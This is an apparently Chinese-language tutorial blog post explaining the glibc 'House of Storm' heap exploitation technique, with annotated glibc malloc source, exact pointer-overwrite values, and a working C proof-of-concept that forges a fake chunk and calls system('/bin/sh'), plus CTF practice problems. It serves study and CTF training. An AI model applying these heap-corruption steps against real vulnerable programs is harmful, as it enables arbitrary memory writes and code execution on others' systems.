文章目录
一、前言介绍
house of storm其实原理和利用并不复杂,个人理解就是unsorted bin attack和large bin attack的结合,只是漏洞利用触发的条件相对比较苛刻,对漏洞利用条件的判断所花费的经历要大于判断后利用的精力。
二、漏洞产生条件
House_of_storm可以导致任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大,但是利用的条件十分苛刻,漏洞利用条件如下:
- ①需要攻击者在largebin和unsorted_bin中分别布置一个chunk 这两个chunk需要在归位之后处于同一个largebin的index中且unsortedbin中的chunk要比largebin中的大
- ②需要unsorted_bin中的bk指针可控
- ③需要largebin中的bk指针和bk_nextsize指针可控
- ④glibc版本小于2.30,因为2.30之后加入了检查
- 程序开启了ASLR(PIE)保护(不影响原理分析,更偏向实际利用常见场景)
三、利用方法
第一步需要控制free bins得结构符合条件①
,做到如图即可,我们从图1可以看到,构造出了一个unsorted bin和一个large bin,通过图2看到unsorted bin比large bin大0x10,归类后存放在large bin同一个index中
第二步通过伪造修改unsorted bin和large bin得值
,修改chunk得内容,修改得参数如下
unsorted_bin->fd = 0
unsorted_bin->bk = fake_chunk
large_bin->fd = 0
large_bin->bk = fake_chunk+8
large_bin->fd_nextsize = 0
large_bin->bk_nextsize = fake_chunk - 0x18 -5
第三步:malloc(0x48),在堆地址第三高位为0x56时可直接触发申请fake chunk位置得堆块
利用很简单是不是!但是具体原理是啥呢?继续往下看把
四、原理和源码分析
漏洞发生在unsorted_bin的chunk放入largebin的过程中,这里直接引用https://www.cnblogs.com/Rookle/p/13140339.html文章中对源码的分析,因为解释的已经非常非常清楚了,大家也可以去看一下原作者得分析
/#define unsorted_chunks(M) (bin_at (M, 1))
//如果unsorted bins不为空,从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;//取出unsorted的尾部的chunk
/*
检查当前遍历的 chunk 是否合法,chunk 的大小不能小于等于 2 * SIZE_SZ,
也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
这里的检查似乎有点小问题,直接使用了 victim->size,但 victim->size
中包含了相关的标志位信息,使用 chunksize(victim) 才比较合理,但在
unsorted bin 中的空闲 chunk 的所有标志位都清零了,所以这里直接
victim->size 没有问题。
*/
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);//获取victim的size
/*
如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk,且
victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
(MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。
last_remainder 是一个 chunk 指针,分配区上次分配 small chunk 时,
从一个 chunk 中分 裂出一个 small chunk 返回给用户,分裂后的剩余部分
形成一个 chunk,last_remainder 就是 指向的这个 chunk。
*/
if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
//分割remainder
remainder_size = size - nb;//计算分割后剩下的size
remainder = chunk_at_offset(victim, nb);//获取remainder的地址
//把remainder加入unsorted bin中
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder; // 设置last_remainder为remainder
remainder->bk = remainder->fd = unsorted_chunks(av);
//如果是remainder在large bin的范围,则把fd_nextsize,fd_nextsize清零
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->fd_nextsize = NULL;
}
//设置victim的size
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
//设置remainder的size
set_head(remainder, remainder_size | PREV_INUSE);
//设置remainder的物理相邻的下一个chunk的prev_size
set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb);//默认不做任何操作
void *p = chunk2mem(victim);//将chunk指针转化为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}
//把victim从unsorted bin 中移除
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
//如果 victim 的size 与申请的size相等,那么就返回其。
if (size == nb) {
//设置victim物理相邻的下一个chunk的prev_inuse位
set_inuse_bit_at_offset(victim, size);
//如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb); // 默认不做任何操作
void *p = chunk2mem(victim);//把chunk转换为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}
//如果上一步取出的chunk没有匹配成功,那么将该chunk放入对应的bin中
//如果在smallbin的范围,则放到对应多small bin中
if (in_smallbin_range(size))
{
victim_index = smallbin_index(size);//获取size对应的smallbin的index
bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
//fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
fwd = bck->fd;
}
else//如果不再smallbin的范围,也就是说在large bin 的范围
{
victim_index = largebin_index(size);//获取size对应的large bin的index
bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk
//如果large bin 非空,在largbin进行按顺序插入
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
/*
large bin中的chunk是按从大到小排列的,如果size < large bin
的最后一个chunk,说明size是这个large bin中的最小的,我们把它
加入到此large bin尾部。
*/
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
fwd = bck;
bck = bck->bk;
/*
large bin 中size最小的chunk的fd_nextsize会指向size最大的
那个chunk,也就是首部的chunk。同样,large bin 中size最大的
chunk的bk_nextsize会指向size最小的那个chunk。
victim的bk_nextsize指向large bin原来最小的chunk,它的
bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
把它fd_nextsize和bk_nextsize都修正。
*/
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小(从头到尾)找到合适的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等,即size>fwd->size,把victim加入到纵向链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else //如果large bin 为空,将victim加入到纵向列表
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}
接下来我们逐步拆解分析原理和知识点
(一)首先要熟悉largebin和unsortedbin的特点
1.要了解两个bin的结构特点,才能明白漏洞触发的条件。
关于unsorted bin,结构比较简单,我们需要了解unsorted bin的出现条件
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
- 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
- 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
2.了解largebin的管理机制
large bins 中一共包括 63 个 bin,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内。此外,这 63 个 bin 被分成了 6 组,每组 bin 中的 chunk 大小之间的公差一致,具体如下:
样例我们以 32 位平台的 large bin 为例,第一个 large bin 的起始 chunk 大小为 512 字节,位于第一组index为0的列表,所以该 bin 可以存储的 chunk 的大小范围为 [512,512+64)。
上面相同index双向链表中,是由大到小排序的,并且fd_nextsize和bk_nextsize只有在最大的某个块存在.事实上这里就解释了为什么漏洞条件中unsorted bin要和largebin同一个index,并且要比largebin要大了,就是为了触发关于fd_nextsize和bk_nextsize值得替换!
(这里解释了漏洞l利用条件①得原因!)
3.unsorted bin内容何时将bins分类到largebin中
当程序新申请堆得时候,会在unsortedchunk中遍历,如果正好匹配会被分配,但是如果没有正好匹配得会先将unsorted bin中得bins分别分配到各个bins中,然后再通过切分操作分配空间
(二)漏洞触发得关键代码
上述代码中包括了整个得判断逻辑,但是我们漏洞真正想利用得代码如下:
关键代码1
//我们控制unsorted_chunk->bk = fake_chunk,也就是将fake_chunk加到了unsorted bin中
//unsorted_chunks(av)->bk = fake_chunk
unsorted_chunks(av)->bk = unsorted_chunk->bk;
//fake_chunk+0x10 = unsorted_bin
bck->fd = unsorted_chunks(av);
这一步原理和unsorted bin attack步骤一致,这里得作用是通过漏洞利用条件②
,修改unsortedbin chunk得内容,使得其在脱离unsorted bin链得时候,让unsorted bin链指向我们伪造得fake chunk地址
(让unsorted bin链指向fake chunk,只要我们能合理构造fake chunk,在申请对应得size得块就可以实现任意地址写了,如何合理构造继续往下看!)
关键代码2
else
{
/*
如果unsorted_chunk->size 大于 largbin_chunk->size,
把unsorted_chunk加入到纵向链表中
我们控制
large_chunk->bk = fake_chunk+0x8
large_chunk->bk_nextsize=fake_chunk-0x18-5
*/
unsorted_chunk->fd_nextsize = largbin_chunk;
//unsorted_chunk->bk_nextsize = fake_chunk-0x18-5
unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize;
largbin_chunk->bk_nextsize = unsorted_chunk;
//fake_chunk+0x3 = unsorted_chunk
unsorted_chunk->bk_nextsize->fd_nextsize = unsorted_chunk;
}
//bck = fake_chunk+0x8
bck = largbin_chunk->bk;
}
}
mark_bin(av, unsorted_chunk_index); //把unsorted_chunk加入到的bin的表示为非空
//把unsorted_chunk加入到large bin的链表中
unsorted_chunk->bk = bck;
unsorted_chunk->fd = largbin_chunk;
largbin_chunk->bk = unsorted_chunk;
//fake_chunk+0x18 = unsorted_chunk 这里是我们关注得地方
bck->fd = unsorted_chunk;
经过一系列判断,最终来到此部分代码。经过链表操作希望大家自己走一下
经过一系列得改写,最终我们将fake chunk加入了unsorted bin中,并且fake chunk内容修改如下(注意区分unsorted bin和unsorted chunk)
- 1.unsorted_bin->bk = fake_chunk #把fake_chunk链到了unsorted_bin中
- 2.fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd
- 3.fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size
- 4.fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk
综上,我们已经成功伪造了一个合法得chunk,其中最最核心得是fake_chunk+0x3
得改写,我们知道判断堆是否合法要堆size
字段进行检查,在开启ASLR保护得情况下
,地址都是形如0x000055xxxxxxxx
或者0x000056xxxxxxxx
,经过计算,会把fake chunk
得size
位修改为0x55
或者0x56
__int_malloc在拿到chunk后返回到__libc_malloc,__libc_malloc会对chunk的进行检查,这里如果有错的话会直接crash,这里只有当堆地址为0x56开头得时候才可以实现攻击,原因得检查代码如下
/*
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
过以下检测需要满足的要求,只需满足一条即可
1. victim 为 0
2. IS_MMAPPED 为 1
3. NON_MAIN_ARENA 为 0
*/
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr == arena_for_chunk(mem2chunk(victim)));
上面得三个条件我们只能满足第二条,所以需要0x56
才能申请成功,通常做法是通过地址泄露看一下堆地址,多尝试几次即可
五、网上大佬们得实验样例记录
记录一下,有兴趣得可以自己调试一下
// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
char chunk_head[0x10];
char content[0x10];
}fake;
int main(void)
{
unsigned long *large_bin,*unsorted_bin;
unsigned long *fake_chunk;
char *ptr;
unsorted_bin=malloc(0x418);
malloc(0X18);
large_bin=malloc(0x408);
malloc(0x18);
free(large_bin);
free(unsorted_bin);
unsorted_bin=malloc(0x418);
free(unsorted_bin);
fake_chunk=((unsigned long)fake.content)-0x10;
unsorted_bin[0]=0;
unsorted_bin[1]=(unsigned long)fake_chunk;
large_bin[0]=0;
large_bin[1]=(unsigned long)fake_chunk+8;
large_bin[2]=0;
large_bin[3]=(unsigned long)fake_chunk-0x18-5;
ptr=malloc(0x48);
strncpy(ptr, "/bin/sh", 0x48 - 1);
system(fake.content);
}
六、参考例题
- 0ctf_2018_heapstorm2
- bugku simple_storm
本文参考的博客内容
house_of_storm 详解
House of storm 原理及利用